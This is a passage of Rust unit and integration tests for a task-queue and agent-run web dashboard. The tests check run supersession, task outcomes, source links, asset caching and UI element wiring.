23262 finished_at: None,
23263 });
23264 let value = serde_json::to_value(view).expect("serialize public metadata");
23265 assert_eq!(value["version"], "1.2.3");
23266 assert_eq!(value["pid"], 4242);
23267 assert!(value.get("payload").is_none());
23268 assert!(value.get("result").is_none());
23269 assert!(!value.to_string().contains("private"));
23270 }
23271
23272 #[test]
23273 fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23274 let home = TempDir::new().expect("temp home");
23275 let ui = idle_ui(&home);
23276 std::fs::write(
23277 home.path().join("daemon.json"),
23278 serde_json::json!({
23279 "schema": 2, "pid": 4242, "worker_protocol": 1,
23280 "updated_at": Timestamp::now().to_string(), "idle": true,
23281 })
23282 .to_string(),
23283 )
23284 .expect("status");
23285 let reading = daemon::read_status(home.path());
23286 assert!(Foreign::of(reading.as_ref()).is_none());
23287 let view = ui.runtime_loop_view(reading, &[]);
23288 assert!(view.running);
23289 assert!(view.owned);
23290 }
23291
23292 #[test]
23293 fn only_an_explicit_one_requests_a_resume() {
23294 assert!(!resume_requested(None));
23295 assert!(!resume_requested(Some("0".into())));
23296 assert!(!resume_requested(Some("".into())));
23297 assert!(resume_requested(Some("1".into())));
23298 }
23299
23300 #[test]
23301 fn an_error_is_visible_from_where_the_button_is() {
23302 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23307 ..APP_CSS.find(".alert-text").expect(".alert-text")];
23308 assert!(
23309 alert.contains("position: fixed"),
23310 "an error about the thing under your thumb has to be visible from \
23311 where your thumb is: {alert}"
23312 );
23313 assert!(
23314 alert.contains("z-index: 25"),
23315 "above the dock (20) and the run-actions FAB (15), so neither \
23316 buries it: {alert}"
23317 );
23318 assert!(
23319 alert.contains("var(--tap)"),
23320 "and clear of the dock and the home indicator: {alert}"
23321 );
23322 assert!(
23325 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23326 "the FAB's column stays free: {alert}"
23327 );
23328 }
23329
23330 #[tokio::test]
23331 async fn an_older_attempt_says_what_replaced_it() {
23332 let fx = Fixture::start().await;
23333 let q = fx.queue();
23334 let runs = fx.runs();
23335 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23336 write_run(&runs, first, RunStatus::Stalled);
23337 write_run(&runs, second, RunStatus::Blocked);
23338
23339 let mut t = Task::new(
23340 "one task".to_owned(),
23341 "do it".to_owned(),
23342 PathBuf::from("/repo"),
23343 Source::Human,
23344 );
23345 t.runs = vec![first.to_owned(), second.to_owned()];
23346 q.put(&mut t).expect("put");
23347
23348 let rows = fx.get("/api/runs").await.json();
23352 let by = |short: &str| -> Value {
23353 rows.as_array()
23354 .unwrap()
23355 .iter()
23356 .find(|r| r["short"] == short)
23357 .cloned()
23358 .unwrap_or(Value::Null)
23359 };
23360 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23361 assert!(
23362 by("bbbb")["superseded_by"].is_null(),
23363 "the latest attempt is not superseded by anything"
23364 );
23365 assert!(APP_JS.contains("run.superseded_by"));
23367 assert!(APP_JS.contains("Superseded by"));
23368 }
23369
23370 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23371 let mut t = Task::new(
23372 "one task".to_owned(),
23373 "do it".to_owned(),
23374 PathBuf::from("/repo"),
23375 Source::Human,
23376 );
23377 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23378 t.status = status;
23379 t
23380 }
23381
23382 #[test]
23383 fn source_link_picks_the_page_that_filed_the_task() {
23384 let agent = |node: &str| Source::Agent {
23385 run: "20260904-014455-ab12".to_owned(),
23386 node: node.to_owned(),
23387 };
23388 let chat = source_link(&agent("chat")).expect("chat link");
23389 assert_eq!(chat.kind, "chat");
23390 assert_eq!(chat.id, "20260904-014455-ab12");
23391 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23392 let run = source_link(&agent("implement")).expect("run link");
23393 assert_eq!(
23394 (run.kind, run.href.as_str()),
23395 ("run", "#/runs/20260904-014455-ab12")
23396 );
23397 assert_eq!(source_link(&Source::Human), None);
23398 assert_eq!(
23399 source_link(&Source::Issue {
23400 number: 3,
23401 repo: "o/r".to_owned()
23402 }),
23403 None
23404 );
23405 let odd = source_link(&Source::Agent {
23406 run: "a b/c".to_owned(),
23407 node: "chat".to_owned(),
23408 })
23409 .expect("link");
23410 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23411 }
23412
23413 #[test]
23414 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23415 assert!(
23416 !APP_JS.contains("src.node === \"chat\""),
23417 "inline href rule is back"
23418 );
23419 assert!(
23420 APP_JS.matches("sourceLinkOf(").count() >= 4,
23421 "helper must serve every page"
23422 );
23423 assert!(
23424 APP_JS.matches("openChatLink(").count() >= 3,
23425 "the run page still needs its explicit chat link"
23426 );
23427 assert!(
23428 !APP_JS.contains("const openChat = el("),
23429 "the Queue card duplicates its source label link again"
23430 );
23431 assert!(
23432 APP_JS.contains("metaKids.push(link ? el(\"a\""),
23433 "the task page must link a chat source label too"
23434 );
23435 }
23436
23437 #[test]
23438 fn task_ref_carries_the_source_link_for_a_chat_task() {
23439 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23440 t.source = Source::Agent {
23441 run: "20260904-014455-ab12".to_owned(),
23442 node: "chat".to_owned(),
23443 };
23444 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23445 let v = serde_json::to_value(&out).expect("json");
23446 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23447 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23448 assert_eq!(v["source_label"], t.source.label());
23449
23450 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23451 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23452 .expect("json");
23453 assert!(v["source_link"].is_null(), "{v}");
23454 }
23455
23456 #[test]
23457 fn task_view_serializes_source_link() {
23458 let mut t = Task::new(
23459 "t".to_owned(),
23460 "t".to_owned(),
23461 PathBuf::from("/repo"),
23462 Source::Agent {
23463 run: "20260901-000000-aaaa".to_owned(),
23464 node: "implement".to_owned(),
23465 },
23466 );
23467 t.runs.clear();
23468 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23469 assert_eq!(v["source_link"]["kind"], "run", "{v}");
23470 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23471 }
23472
23473 #[test]
23474 fn task_view_serializes_urgent_flag() {
23475 let mut t = Task::new(
23476 "t".to_owned(),
23477 "t".to_owned(),
23478 PathBuf::from("/repo"),
23479 Source::Human,
23480 );
23481 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23482 assert_eq!(v["urgent"], false, "{v}");
23483 t.urgent = true;
23484 let v = serde_json::to_value(TaskView::from(t)).expect("json");
23485 assert_eq!(v["urgent"], true, "{v}");
23486 assert!(APP_JS.contains("task.urgent === true"));
23487 }
23488
23489 #[tokio::test]
23490 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23491 let fx = Fixture::start().await;
23492 let runs = fx.runs();
23493 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23494 write_run(&runs, old, RunStatus::Blocked);
23495 write_run(&runs, new, RunStatus::Merged);
23496 let mut t = outcome_task(&[old, new], TaskStatus::Done);
23497 fx.queue().put(&mut t).expect("put");
23498
23499 let view = fx.get(&format!("/api/runs/{old}")).await.json();
23500 let task = &view["task"];
23501 assert_eq!(task["status"], "done");
23502 assert_eq!(task["is_latest"], false);
23503 assert_eq!(task["latest"]["short"], "bbbb");
23504 assert_eq!(task["finished_by"]["id"], new);
23505 assert_eq!(task["finished_by"]["outcome"], "merged");
23506 assert_eq!(task["closed_by_hand"], false);
23507 assert_eq!(view["status"], "blocked", "the run keeps its own status");
23508 assert!(APP_JS.contains("finished_by"));
23509 assert!(APP_JS.contains("superseded by run"));
23510 }
23511
23512 #[tokio::test]
23513 async fn the_latest_run_reports_a_held_task_without_a_successor() {
23514 let fx = Fixture::start().await;
23515 let runs = fx.runs();
23516 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23517 write_run(&runs, old, RunStatus::Stalled);
23518 write_run(&runs, new, RunStatus::Blocked);
23519 let mut t = outcome_task(&[old, new], TaskStatus::Held);
23520 fx.queue().put(&mut t).expect("put");
23521
23522 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23523 assert_eq!(task["status"], "held");
23524 assert_eq!(task["is_latest"], true);
23525 assert!(task["latest"].is_null());
23526 assert!(task["finished_by"].is_null());
23527 assert_eq!(task["closed_by_hand"], false);
23528 }
23529
23530 #[tokio::test]
23531 async fn a_direct_run_has_no_task_outcome() {
23532 let fx = Fixture::start().await;
23533 let runs = fx.runs();
23534 let id = "20260901-000000-aaaa";
23535 write_run(&runs, id, RunStatus::Blocked);
23536 let view = fx.get(&format!("/api/runs/{id}")).await.json();
23537 assert!(view["task"].is_null());
23538 }
23539
23540 #[test]
23541 fn task_outcome_does_not_guess_a_finishing_run() {
23542 let a = "20260901-000000-aaaa";
23543 let b = "20260901-000000-bbbb";
23544 let c = "20260901-000000-cccc";
23545 let dir = tempfile::tempdir().expect("tempdir");
23546 write_run(dir.path(), a, RunStatus::Blocked);
23547 write_run(dir.path(), b, RunStatus::VerifiedNoop);
23548 let read = |id: &str| read_run(dir.path(), id).ok();
23550 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23553 let out = task_outcome(&t, a, 3, read);
23554 assert!(out.finished_by.is_none());
23555 assert!(out.closed_by_hand);
23556 let latest = out.latest.expect("latest");
23557 assert_eq!(latest.id, c);
23558 assert_eq!(latest.status, None);
23559 assert_eq!(latest.outcome, "record unreadable");
23560
23561 write_run(dir.path(), c, RunStatus::Ready);
23563 let t = outcome_task(&[a, c], TaskStatus::Done);
23564 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23565 assert_eq!(out.finished_by.expect("finisher").id, c);
23566 assert!(!out.closed_by_hand);
23567
23568 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23570 assert!(task_outcome(&t, a, 3, read).is_latest);
23571 }
23572
23573 #[tokio::test]
23574 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23575 let fx = Fixture::start().await;
23580 let q = fx.queue();
23581 let runs = fx.runs();
23582 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23583 write_run(&runs, first, RunStatus::Blocked);
23584 write_run(&runs, second, RunStatus::Merged);
23585
23586 let mut t = Task::new(
23587 "one task".to_owned(),
23588 "do it".to_owned(),
23589 PathBuf::from("/repo"),
23590 Source::Human,
23591 );
23592 t.runs = vec![first.to_owned(), second.to_owned()];
23593 q.put(&mut t).expect("put");
23594
23595 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23596 assert_eq!(earlier["superseded_by"], "dddd");
23597 assert_eq!(earlier["latest_attempt"]["id"], second);
23598 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23599 assert_eq!(
23600 earlier["latest_attempt"]["resolved"], true,
23601 "the run that replaced it landed, so this one reads as settled"
23602 );
23603
23604 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23605 assert!(
23606 later["superseded_by"].is_null(),
23607 "the latest attempt is not superseded by anything"
23608 );
23609 assert!(
23610 later["latest_attempt"].is_null(),
23611 "the latest attempt has no later attempt of its own"
23612 );
23613
23614 assert!(APP_JS.contains("run.latest_attempt"));
23621 assert!(APP_JS.contains("data-superseded"));
23622 assert!(APP_JS.contains("#/runs/${latest.id}"));
23623 }
23624
23625 #[tokio::test]
23626 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23627 let fx = Fixture::start().await;
23633 let q = fx.queue();
23634 let runs = fx.runs();
23635 let (a, b, c) = (
23636 "20260901-000000-aaaa",
23637 "20260901-000000-bbbb",
23638 "20260901-000000-cccc",
23639 );
23640 write_run(&runs, a, RunStatus::Blocked);
23641 write_run(&runs, b, RunStatus::Blocked);
23642 write_run(&runs, c, RunStatus::Merged);
23643
23644 let mut t = Task::new(
23645 "retried twice".to_owned(),
23646 "do it".to_owned(),
23647 PathBuf::from("/repo"),
23648 Source::Human,
23649 );
23650 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23651 q.put(&mut t).expect("put");
23652
23653 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23654 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23655 assert_eq!(
23656 view["latest_attempt"]["id"], c,
23657 "the chain's current head, not the intermediate Blocked retry"
23658 );
23659 assert_eq!(view["latest_attempt"]["resolved"], true);
23660
23661 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23662 assert_eq!(mid["latest_attempt"]["id"], c);
23663 assert_eq!(mid["latest_attempt"]["resolved"], true);
23664 }
23665
23666 #[tokio::test]
23667 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23668 let fx = Fixture::start().await;
23669 let q = fx.queue();
23670 let runs = fx.runs();
23671
23672 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23675 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23676 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23677 let mut t1 = Task::new(
23678 "still stuck".to_owned(),
23679 "do it".to_owned(),
23680 PathBuf::from("/repo"),
23681 Source::Human,
23682 );
23683 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23684 q.put(&mut t1).expect("put");
23685 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23686 assert_eq!(view1["latest_attempt"]["resolved"], false);
23687 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23688 assert_eq!(view1["latest_attempt"]["done"], true);
23689
23690 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23692 write_run(&runs, run_a, RunStatus::Blocked);
23693 write_run(&runs, run_b, RunStatus::Implementing);
23694 let mut t3 = Task::new(
23695 "retrying".to_owned(),
23696 "do it".to_owned(),
23697 PathBuf::from("/repo"),
23698 Source::Human,
23699 );
23700 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23701 q.put(&mut t3).expect("put");
23702 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23703 assert_eq!(view3["latest_attempt"]["id"], run_b);
23704 assert_eq!(view3["latest_attempt"]["resolved"], false);
23705 assert_eq!(view3["latest_attempt"]["done"], false);
23706
23707 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23712 write_run(&runs, noop_a, RunStatus::Blocked);
23713 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23714 let mut t2 = Task::new(
23715 "claims done".to_owned(),
23716 "do it".to_owned(),
23717 PathBuf::from("/repo"),
23718 Source::Human,
23719 );
23720 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23721 q.put(&mut t2).expect("put");
23722 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23723 assert_eq!(
23724 view2["latest_attempt"]["resolved"], false,
23725 "an unverified no-op claim must not read as a confirmed finish"
23726 );
23727
23728 assert!(APP_JS.contains("latest.resolved"));
23731 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23734 assert!(APP_JS.contains("Latest attempt: "));
23735 assert!(APP_JS.contains("in flight"));
23736 assert!(APP_JS.contains("not resolved"));
23737 }
23738
23739 #[tokio::test]
23740 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23741 let fx = Fixture::start().await;
23742 let js = fx.get("/app.js").await;
23748 assert_eq!(js.status, 200);
23749 let tag = js
23750 .header("etag")
23751 .expect("an etag to revalidate against")
23752 .to_owned();
23753 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23754 assert_eq!(
23755 js.header("cache-control"),
23756 Some("no-cache, must-revalidate"),
23757 "the phone has to ask every time"
23758 );
23759
23760 let again = fx
23763 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23764 .await;
23765 assert_eq!(
23766 again.status, 304,
23767 "a deck it already has costs one round trip"
23768 );
23769 assert!(again.body.is_empty(), "304 carries no body");
23770
23771 let weak = fx
23774 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23775 .await;
23776 assert_eq!(weak.status, 304);
23777 let stale = fx
23778 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23779 .await;
23780 assert_eq!(stale.status, 200, "an older build must be replaced");
23781 assert!(stale.body.contains("renderRunActions"));
23782 }
23783
23784 #[test]
23785 fn the_task_detail_has_an_actions_fab_and_sheet() {
23786 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23787 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23788 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23789 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23791 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23792 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23794 assert!(APP_JS.contains("renderTaskActions(null);"));
23795 let sheet = APP_JS
23797 .find("function renderTaskActions")
23798 .expect("sheet renderer");
23799 let body = &APP_JS[sheet..sheet + 3000];
23800 assert!(body.contains("changePriority("));
23801 assert!(body.contains("openTaskEdit(task)"));
23802 assert!(body.contains("renderTaskHoldBox(host"));
23803 assert!(body.contains("renderTaskDoneBox(host"));
23804 assert!(body.contains("renderTaskDeleteBox(host"));
23805 assert!(APP_JS.contains("API.priority(id)"));
23806 assert!(APP_JS.contains("API.deleteTask(id)"));
23807 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23809 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23811 }
23812
23813 #[test]
23814 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23815 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23816 let actions = INDEX_HTML
23817 .find("id=\"run-actions-box\"")
23818 .expect("actions box");
23819 assert!(task < actions, "the task entry comes first in the sheet");
23820 assert!(APP_JS.contains("renderRunTaskEntry"));
23821 assert!(APP_JS.contains("\"Open task \""));
23822 assert!(APP_JS.contains("started directly, no task"));
23824 assert!(APP_JS.contains("sheet-task-link"));
23825 assert!(APP_JS.contains("task-chip-link"));
23826 }
23827
23828 #[test]
23829 fn the_deck_never_sends_the_operator_to_a_terminal() {
23830 assert!(
23833 !APP_JS.contains("Run `magi fold` first"),
23834 "the deck must offer the fold, not prescribe a shell command"
23835 );
23836 assert!(APP_JS.contains("foldRun:"));
23837 assert!(APP_JS.contains("resumeRun:"));
23838 assert!(APP_JS.contains("renderRunActions"));
23839
23840 assert!(APP_JS.contains("armedFold"));
23842 assert!(APP_JS.contains("Yes, fold worktrees"));
23843
23844 assert!(APP_JS.contains("can no longer be resumed"));
23847 }
23848
23849 #[test]
23850 fn a_finished_run_explains_itself_with_its_own_last_line() {
23851 assert!(
23857 !APP_JS.contains("collapsed on agent quota"),
23858 "a stall must not be explained by a cause the deck did not check"
23859 );
23860 assert!(
23861 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23862 "and a block must not offer a guess with an `or` in it"
23863 );
23864
23865 assert!(
23869 APP_JS.contains("setText(r.event, run.event || \"\")"),
23870 "the run's last line is rendered unconditionally"
23871 );
23872 assert!(
23873 !APP_JS.contains("moving && run.event"),
23874 "and never gated on the run still moving"
23875 );
23876
23877 assert!(APP_JS.contains("lost to quota"));
23879 }
23880
23881 #[test]
23903 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23904 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23905 let shapes_body_start =
23906 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23907 let shapes_close = APP_JS[shapes_body_start..]
23908 .find("].map(")
23909 .expect("the shape list is closed by its done-computing .map(...)")
23910 + shapes_body_start;
23911 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23912
23913 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23914 for entry in shapes_src.split('{').skip(1) {
23915 let waiting = entry.contains("waiting: true");
23916 let dead = entry.contains("live: \"dead\"");
23917 let status_at =
23918 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23919 let status_end = entry[status_at..]
23920 .find('"')
23921 .expect("the status string is closed")
23922 + status_at;
23923 let parked = entry.contains("display_status: \"parked\"");
23924 shapes.push((
23925 waiting,
23926 entry[status_at..status_end].to_string(),
23927 dead,
23928 parked,
23929 ));
23930 }
23931 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23932
23933 let done_rule_marker = "done: !";
23937 let done_rule_at = APP_JS[shapes_close..]
23938 .find(done_rule_marker)
23939 .expect("the done rule follows the shape list")
23940 + shapes_close
23941 + done_rule_marker.len();
23942 let includes_at = APP_JS[done_rule_at..]
23943 .find(".includes(shape.status)")
23944 .expect("the done rule ends in .includes(shape.status)")
23945 + done_rule_at;
23946 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23947 .trim()
23948 .trim_start_matches('[')
23949 .trim_end_matches(']')
23950 .split(',')
23951 .map(|s| s.trim().trim_matches('"'))
23952 .filter(|s| !s.is_empty())
23953 .collect();
23954
23955 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23956 .into_iter()
23957 .map(|(waiting, status, dead, parked)| {
23958 let done = !not_done.contains(&status.as_str());
23959 (waiting, status, dead, parked, done)
23960 })
23961 .collect();
23962
23963 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23967 if waiting {
23968 return "waiting";
23969 }
23970 if dead
23971 && !parked
23972 && !matches!(
23973 status,
23974 "merged"
23975 | "ready"
23976 | "stalled"
23977 | "blocked"
23978 | "failed"
23979 | "verified_noop"
23980 | "superseded"
23981 | "already_in_base"
23982 )
23983 {
23984 return "stale";
23985 }
23986 match status {
23987 "merged" | "ready" => "landed",
23988 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23989 | "already_in_base" => "ended",
23990 _ => "flight",
23991 }
23992 }
23993
23994 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23997 match filter_key {
23998 "active" => !done,
23999 "flight" => !done && !waiting && !dead,
24000 "stale" => !done && !waiting && dead,
24001 "waiting" => waiting,
24002 "done" => done,
24003 "all" => true,
24004 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24005 }
24006 }
24007
24008 let compatible = |section: &str, filter_key: &str| {
24009 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24010 run_section(*waiting, status, *dead, *parked) == section
24011 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24012 })
24013 };
24014
24015 let expected = [
24020 ("waiting", [true, false, false, true, true, true]),
24021 ("stale", [true, false, true, false, false, true]),
24022 ("flight", [true, true, false, false, false, true]),
24023 ("landed", [false, false, false, false, true, true]),
24024 ("ended", [false, false, false, false, true, true]),
24025 ];
24026 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24027
24028 for (section, wants) in expected {
24029 for (filter_key, want) in filter_keys.iter().zip(wants) {
24030 assert_eq!(
24031 compatible(section, filter_key),
24032 want,
24033 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24034 );
24035 }
24036 }
24037
24038 assert!(
24041 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24042 );
24043 assert!(APP_JS.contains(
24044 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24045 ));
24046 assert!(APP_JS.contains(
24047 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24048 ));
24049 }
24050
24051 #[tokio::test]
24052 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24053 let dir = tempfile::tempdir().expect("tempdir");
24057 let explicit = dir.path().join("not-a-checkout");
24058 std::fs::create_dir_all(&explicit).expect("create dir");
24059 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24060
24061 let missing = dir.path().join("does-not-exist-at-all");
24062 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24063 }
24064
24065 #[test]
24066 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24067 assert!(APP_JS.contains("function statsDonutArcs"));
24068 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24069 assert!(APP_JS.contains("function statusInBucket"));
24071 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24072 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24073 let buckets = [
24074 "merged",
24075 "ready",
24076 "in_progress",
24077 "blocked",
24078 "failed",
24079 "verified_noop",
24080 "superseded",
24081 "stalled",
24082 ];
24083 for key in buckets {
24084 let var = format!("--verdict-{key}:");
24085 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24087 assert!(
24088 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24089 "{key}"
24090 );
24091 }
24092 }
24093
24094 #[tokio::test]
24095 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24096 let dir = tempfile::tempdir().expect("tempdir");
24097 let queue = Queue::at(dir.path().join("queue"));
24098 let talks = Talks::at(dir.path().join("talks"));
24099 std::fs::create_dir_all(queue.root()).unwrap();
24100 std::fs::create_dir_all(talks.root()).unwrap();
24101
24102 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24104 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24105
24106 let mut task = Task::new(
24108 "title".into(),
24109 "inst".into(),
24110 PathBuf::from("/repo"),
24111 Source::Human,
24112 );
24113 task.id = "20261019-123456-abcd".into();
24114 std::fs::write(
24116 queue.path_of(&task.id),
24117 serde_json::to_string(&task).unwrap(),
24118 )
24119 .unwrap();
24120
24121 let talk_id = "20261019-234567-cdef";
24122 seed_talk_at(&talks, talk_id, "open");
24123
24124 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24126 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24127
24128 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24130 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24131 }
24132
24133 #[tokio::test]
24134 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24135 let home = tempfile::tempdir().unwrap();
24136 let ui = delta_test_ui(home.path());
24137 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24139 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24140 assert!(
24141 questions_list(State(ui.clone()))
24142 .await
24143 .unwrap()
24144 .0
24145 .is_empty()
24146 );
24147 assert!(
24148 question_origins(State(ui.clone()))
24149 .await
24150 .unwrap()
24151 .0
24152 .is_empty()
24153 );
24154 let mut question = Question::new(
24155 "run-history".into(),
24156 "review".into(),
24157 "seat".into(),
24158 "Useful question".into(),
24159 "Useful detail".into(),
24160 vec![],
24161 );
24162 ui.questions.put(&mut question).unwrap();
24163 let core = questions_core(State(ui.clone())).await.unwrap().0;
24164 assert_eq!(core.len(), 1);
24165 assert_eq!(core[0].question.summary, "Useful question");
24166 assert!(!core[0].can_consult_chat);
24167 assert!(core[0].origin_chat.is_none());
24168 assert_eq!(core[0].record_revision, question_record_revision(&question));
24169 assert!(question_origins(State(ui.clone())).await.is_err());
24170 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24171 }
24172
24173 #[tokio::test]
24174 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24175 let home = tempfile::tempdir().unwrap();
24176 let ui = delta_test_ui(home.path());
24177 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24178 let mut parent = Task::new(
24179 "parent".into(),
24180 "body".into(),
24181 PathBuf::from("/repo"),
24182 Source::Agent {
24183 run: chat.clone(),
24184 node: crate::queue::CHAT_NODE.into(),
24185 },
24186 );
24187 parent.id = "parent-task".into();
24188 parent.runs = vec!["parent-run".into()];
24189 ui.queue.put(&mut parent).unwrap();
24190 let mut previous = parent;
24191 for generation in 1..=2 {
24192 let mut child = Task::new(
24193 "child".into(),
24194 "body".into(),
24195 PathBuf::from("/repo"),
24196 Source::Human,
24197 );
24198 child.id = format!("child-task-{generation}");
24199 child.runs = vec![format!("child-run-{generation}")];
24200 child.followup = Some(crate::queue::FollowUp {
24201 origin_task: Some(previous.id.clone()),
24202 run: previous.runs[0].clone(),
24203 pr: String::new(),
24204 findings: vec![],
24205 generation,
24206 });
24207 ui.queue.put(&mut child).unwrap();
24208 previous = child;
24209 }
24210 let mut collision = Task::new(
24213 "collision".into(),
24214 String::new(),
24215 PathBuf::from("/repo"),
24216 Source::Human,
24217 );
24218 collision.id = "collision-task".into();
24219 collision.runs = vec![previous.id.clone()];
24220 ui.queue.put(&mut collision).unwrap();
24221 let mut questions = Vec::new();
24222 for (node, reference, expected, eligible) in [
24223 (crate::triage::NODE, previous.id.as_str(), true, false),
24224 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24225 ("review", previous.runs[0].as_str(), true, true),
24226 (
24227 crate::bump::NOTICE_NODE,
24228 previous.runs[0].as_str(),
24229 true,
24230 false,
24231 ),
24232 ("review", previous.id.as_str(), false, false),
24234 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24235 ("review", "unrelated", false, false),
24236 ] {
24237 let mut q = Question::new(
24238 reference.into(),
24239 node.into(),
24240 "seat".into(),
24241 "Question".into(),
24242 String::new(),
24243 vec![],
24244 );
24245 ui.questions.put(&mut q).unwrap();
24246 questions.push((q, expected, eligible));
24247 }
24248 for (node, reference, associated, eligible) in [
24249 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24250 (
24251 crate::reconcile::NODE,
24252 previous.runs[0].as_str(),
24253 false,
24254 true,
24255 ),
